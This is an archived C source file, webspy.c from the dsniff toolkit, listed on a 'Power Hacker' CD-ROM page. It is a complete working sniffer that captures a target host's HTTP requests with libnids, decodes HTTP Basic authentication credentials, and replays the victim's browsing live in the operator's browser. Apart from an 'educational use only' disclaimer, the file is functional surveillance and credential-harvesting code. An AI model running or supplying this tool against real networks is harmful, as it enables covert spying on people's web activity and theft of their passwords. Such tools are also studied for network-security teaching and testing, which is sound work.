home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / sectools / dsniff / webspy.c < prev   
Encoding:
C/C++ Source or Header  |  2000-05-19  |  6.5 KB  |  267 lines

  1. /*
  2.   webspy.c
  3.  
  4.   Sniff a user's web session, follow it real-time in our browser.
  5.   This is for demonstration purposes and educational use only.
  6.   
  7.   Copyright (c) 1999 Dug Song <dugsong@monkey.org>
  8.   All rights reserved, all wrongs reversed.
  9.  
  10.   Redistribution and use in source and binary forms, with or without
  11.   modification, are permitted provided that the following conditions
  12.   are met:
  13.  
  14.   1. Redistributions of source code must retain the above copyright
  15.      notice, this list of conditions and the following disclaimer.
  16.   2. Redistributions in binary form must reproduce the above copyright
  17.      notice, this list of conditions and the following disclaimer in the
  18.      documentation and/or other materials provided with the distribution.
  19.   3. The name of author may not be used to endorse or promote products
  20.      derived from this software without specific prior written permission.
  21.  
  22.   THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
  23.   INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
  24.   AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
  25.   THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
  26.   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
  27.   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
  28.   OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
  29.   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
  30.   OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
  31.   ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  32.  
  33.   $Id: webspy.c,v 1.20 2000/05/19 04:59:53 dugsong Exp $
  34. */
  35.  
  36. #include <sys/types.h>
  37. #include <sys/socket.h>
  38. #include <netinet/in.h>
  39. #include <arpa/inet.h>
  40. #include <netdb.h>
  41. #include <stdio.h>
  42. #include <stdlib.h>
  43. #include <unistd.h>
  44. #include <string.h>
  45. #include <X11/Xlib.h>
  46. #include <libnet.h>
  47. #include <nids.h>
  48. #include "base64.h"
  49. #include "version.h"
  50.  
  51. /* for jwz's remote.c. */
  52. extern int mozilla_remote_commands (Display *, Window, char **);
  53.  
  54. char *expected_mozilla_version = "4.7";
  55. char *progname = "webspy";
  56.  
  57. /* Globals. */
  58. Display *dpy;
  59. char cmd[2048], *cmdtab[2];
  60. u_long host;
  61.  
  62. void
  63. usage(void)
  64. {
  65.   fprintf(stderr, "Usage: %s [-i interface] host\n", progname);
  66.   exit(1);
  67. }
  68.  
  69. /* Locate substring in a binary string. */
  70. u_char *
  71. bufbuf(u_char *big, int blen, u_char *little, int llen)
  72. {
  73.   u_char *p;
  74.  
  75.   for (p = big; p <= big + blen - llen; p++) {
  76.     if (memcmp(p, little, llen) == 0)
  77.       return (p);
  78.   }
  79.   return (NULL);
  80. }
  81.   
  82. int
  83. is_display_url(char *url)
  84. {
  85.   int len, slen;
  86.   char **pp, *p;
  87.   static char *good_prefixes[] = { NULL };
  88.   static char *good_suffixes[] = { ".html", ".htm", "/", ".shtml",
  89.                    ".cgi", ".asp", ".php3", ".txt",
  90.                    ".xml", ".asc", NULL };
  91.   
  92.   /* Get URI */
  93.   if (strncasecmp(url, "http://", 7) == 0) {
  94.     if ((p = strchr(url + 7, '/')) != NULL)
  95.       url = p;
  96.   }
  97.   /* Get URI length, without QUERY_INFO */
  98.   if ((p = strchr(url, '?')) != NULL)
  99.     len = p - url;
  100.   else
  101.     len = strlen(url);
  102.   
  103.   for (pp = good_suffixes; *pp != NULL; pp++) {
  104.     if (len < (slen = strlen(*pp))) continue;
  105.     if (strncasecmp(&url[len - slen], *pp, slen) == 0)
  106.       return (1);
  107.   }
  108.   for (pp = good_prefixes; *pp != NULL; pp++) {
  109.     if (len < (slen = strlen(*pp))) continue;
  110.     if (strncasecmp(url, *pp, slen) == 0)
  111.       return (1);
  112.   }
  113.   return (0);
  114. }
  115.  
  116. /*
  117.   XXX - we should really be sniffing (and HTML-parsing) the returned
  118.   pages, not just the request URLs. this is why we don't handle
  119.   frames, some CGIs, banner ads, etc. correctly.
  120. */
  121. int
  122. process_http_request(struct tuple4 *addr, u_char *buf, int len)
  123. {
  124.   char *p, *s, *e, *uri, *vhost, *auth;
  125.   int i, discard = 0;
  126.   
  127.   /* Process requests. */
  128.   for (s = buf; (e = bufbuf(s, len, "\r\n\r\n", 4)) != NULL; s = e + 4) {
  129.     i = (e + 4) - s;
  130.     discard += i; len -= i;
  131.     *e = '\0';
  132.     
  133.     uri = vhost = auth = NULL;
  134.     
  135.     /* Parse header. */
  136.     for (p = strtok(buf, "\r\n"); p; p = strtok(NULL, "\r\n")) {
  137.       if (strncasecmp(p, "GET ", 4) == 0) {
  138.     uri = p + 4;
  139.     if (strncasecmp(uri, "http://", 7) == 0) {
  140.       vhost = uri + 7;
  141.       uri = strchr(vhost, '/');
  142.       i = uri - vhost;
  143.       memmove(p, vhost, i);
  144.       p[i] = '\0';
  145.       vhost = p;
  146.     }
  147.     if ((p = strchr(uri, ' ')) != NULL)
  148.       *p = '\0';
  149.     
  150.     if (!is_display_url(uri)) {
  151.       fprintf(stderr, "\tignoring: %s\n", uri);
  152.       uri = NULL;
  153.       break;
  154.     }
  155.       }
  156.       else if (strncasecmp(p, "Authorization: Basic ", 21) == 0) {
  157.     p += 21;
  158.     i = base64_pton(p, p, strlen(p));
  159.     p[i] = '\0';
  160.     auth = p;
  161.       }
  162.       else if (strncasecmp(p, "Host: ", 6) == 0)
  163.     vhost = p + 6;
  164.     }
  165.     if (vhost == NULL)
  166.       vhost = libnet_host_lookup(addr->daddr, 0);
  167.     
  168.     if (uri != NULL && vhost != NULL) {
  169.       snprintf(cmd, sizeof(cmd), "openURL(http://%s%s%s%s)",
  170.            auth ? auth : "", auth ? "@" : "", vhost, uri);
  171.       fprintf(stderr, "%s\n", cmd);
  172.       mozilla_remote_commands(dpy, 0, cmdtab);
  173.     }
  174.   }
  175.   return (discard);
  176. }
  177.  
  178. void
  179. sniff_http_client(struct tcp_stream *ts, void **yoda)
  180. {
  181.   int i;
  182.   
  183.   /* Only handle HTTP client traffic. */
  184.   if (ts->addr.saddr != host ||
  185.       (ts->addr.dest != 80 && ts->addr.dest != 3128 && ts->addr.dest != 8080))
  186.     return;
  187.   
  188.   switch (ts->nids_state) {
  189.   case NIDS_JUST_EST:
  190.     /* Collect data. */
  191.     ts->server.collect = 1;
  192.     
  193.   case NIDS_DATA:
  194.     if (ts->server.count_new != 0) {
  195.       i = process_http_request(&ts->addr, ts->server.data,
  196.                    ts->server.count - ts->server.offset);
  197.       nids_discard(ts, i);
  198.     }
  199.     break;
  200.     
  201.   default:
  202.     if (ts->server.count != 0) {
  203.       process_http_request(&ts->addr, ts->server.data,
  204.                ts->server.count - ts->server.offset);
  205.     }
  206.     break;
  207.   }
  208. }
  209.  
  210. void
  211. null_syslog(int type, int errnum, struct ip *iph, void *data)
  212. {
  213. }
  214.  
  215. int
  216. main(int argc, char *argv[])
  217. {
  218.   int c;
  219.   
  220.   while ((c = getopt(argc, argv, "i:h?V")) != -1) {
  221.     switch (c) {
  222.     case 'i':
  223.       nids_params.device = optarg;
  224.       break;
  225.     case 'V':
  226.       fprintf(stderr, "Version: %s\n", VERSION);
  227.       usage();
  228.       break;
  229.     default:
  230.       usage();
  231.     }
  232.   }
  233.   argc -= optind;
  234.   argv += optind;
  235.   
  236.   if (argc != 1)
  237.     usage();
  238.  
  239.   cmdtab[0] = cmd;
  240.   cmdtab[1] = NULL;
  241.  
  242.   if ((host = libnet_name_resolve(argv[0], 1)) == -1) {
  243.     fprintf(stderr, "%s: unknown host\n", argv[0]);
  244.     exit(1);
  245.   }
  246.   if ((dpy = XOpenDisplay(NULL)) == NULL) {
  247.     fprintf(stderr, "connection to local X server failed!\n");
  248.     exit(1);
  249.   }
  250.   nids_params.scan_num_hosts = 0;
  251.   nids_params.syslog = null_syslog;
  252.  
  253.   if (!nids_init()) {
  254.     fprintf(stderr, "%s\n", nids_errbuf);
  255.     exit(1);
  256.   }
  257.   nids_register_tcp(sniff_http_client);
  258.  
  259.   nids_run();
  260.  
  261.   /* NOTREACHED */
  262.  
  263.   exit(0);
  264. }
  265.  
  266. /* 5000. */
  267.